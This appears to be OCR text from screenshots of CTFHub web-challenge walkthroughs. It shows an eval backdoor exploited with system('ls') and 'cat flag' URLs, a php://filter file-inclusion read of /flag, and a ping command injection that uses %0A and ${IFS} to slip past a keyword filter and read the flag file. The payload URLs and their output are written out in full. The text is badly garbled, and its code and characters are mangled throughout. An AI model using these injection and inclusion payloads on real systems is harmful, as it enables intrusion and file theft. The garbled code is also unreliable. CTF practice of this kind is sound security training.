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&« C O 8 challenge-bbfbb0563bd7d5f3.sandbox.cifhub.com: 10800
<Iphp
if (izset($_REQUEST[ cmd 1)) |

eval (3_FEQUEST ["emd”]) ;
boelse |

highlight_file(_FILE_J; .
} G 11177 g
T
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<« C U 8 challenge-bbfb60563bd7d5f3.sandbox.ctfhub.com:10800/?cmd=system("Is™);

index.php

3HE M. /AL Eflag 1

<« C O 8 challenge-bbfbb0563bd7d5f3.sandbox.ctfhub.com:10800/?2cmd=system(’ls ../");
html B
<« C O A challenge-bbfbs0563bd7d5f3.sandbox.ctfhub.com:10800/2cmd=system(’ls ../../../");

bin boot dev etg flag_946{home lib lib64 media mnt opt proc root run sbin srv sys tmp usm_nfaf | P25 i 4

4 fFFfcat ../../flag_9463k75flag

<« C O 8 challenge-bbfb60563bd7d5f3.sandbox.ctthub.com:10800/?cmd=system("cat ../../../flag 946);
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&« C O & challenge-7b8278d4b9de4872 sandbox.ctfhub.com: 10800

<php
error_reporting (F_ALL):
if (isset($_GET[ file’1)) {

if [ substr($ GET["file™], 0, B) === Tphp://" 1 |
include (3_GET["£ile”]);
boelse |
echo  “Hacker!!!”:
1
boelse |
highlight file( FILE 1.
]
T
<hr>

i don't have shell, how to get flag? <br>
flag in <coder/flag</code>

i don't have shell, how to get flag? T
ﬂag in [flag = 1R L AR
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< C O & challenge-7b8278d4b9de4872 sandbox.ctfhub.com: 10800/ ?file=php://filter/read/resource=/flag
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i don't have shell, how to get flag? v W 3
flag in /flag
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« C O 8 challenge-4058efalal27a29%a.sandbox.ctfhub.com:10800
CTFHub sp$iEN-EZRE 5

IP:

| | ping |

<php

$res = FALSE,

if (isset(3_GET[ip’]) && 3. GET(ip'1) |
$ip = $.G6ET[ip’ 1:

dm = [1;

if (lpreg_match_all (/O] [ [V |eat|flagletfiub) /", $ip, $mw) |
femd = “ping -c 4 {$ipt”;
exec(femd, Jres):

}oelse |
Jrez = Im;
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« C O & challenge-4058efalal27a29a.sandbox.ctthub.com:10800/7ip=127.0.0.1%0Als
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IP: _ .

| ||_Ping |

Array

{

[0] =» PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] =» flag is_here
[2] =» index.php ;o e
) L I B A
3E\E M I AN 2127.0.0.1%0acd${IFS}*** _is_here%0als

- C O & challenge-4058efafal27a29a.sandbox.ctfhub.com:10800/2ip=127.0.0.1%0Acd${IFS}f*** is_here%0Als
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IP: -
| /| Ping |

Array

(
[0] =» PING 127.0.0.1 (127.0.0.1): BA data bytes

[1] => flag_19119859718592. php

4 & F&flag. 127.0.0.1%0acd${IFS}{*** is here%0amore${IFS}{*** 31393309531738.php



ﬁs http://challenge-4058efala.. GET  [?ip=127.0.0.1%0Acd${IFS}** is_here%0Amore3{IFS}F** 191198597185 ...
<

Request | Response }

JRaw T Headers I Hex I HTML T Render }

'DOCTYPE html
<html>
<head>
<title>CTFHub -5k A& 3 titler
<fhead:
“hody>

<h1>CTFHub ffir &85 /1>

<form action="%" method="GET">
2label for="1ip"*IP : </labeli<br>
Zinput type="text” 1d="ip" name="1ip">
Zinput type="submit” wvalue="Ping">

<fform>
Chr>
“pres
Array
( s o I
[0] =» PING 127.0.0.1 (127.0.0.1): 56 data bytes w7 PR
[11 =» <?php // ctfhub{805fc2b2ab2360816ch03ead}
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system(): ZRBSEPITE R .

passthru():  ZRHERFEAGS, FRSITEREFDEERH R REE
exec(): TaHER, REPITERNEE—1T

shell exec(): AEHER, REPITER
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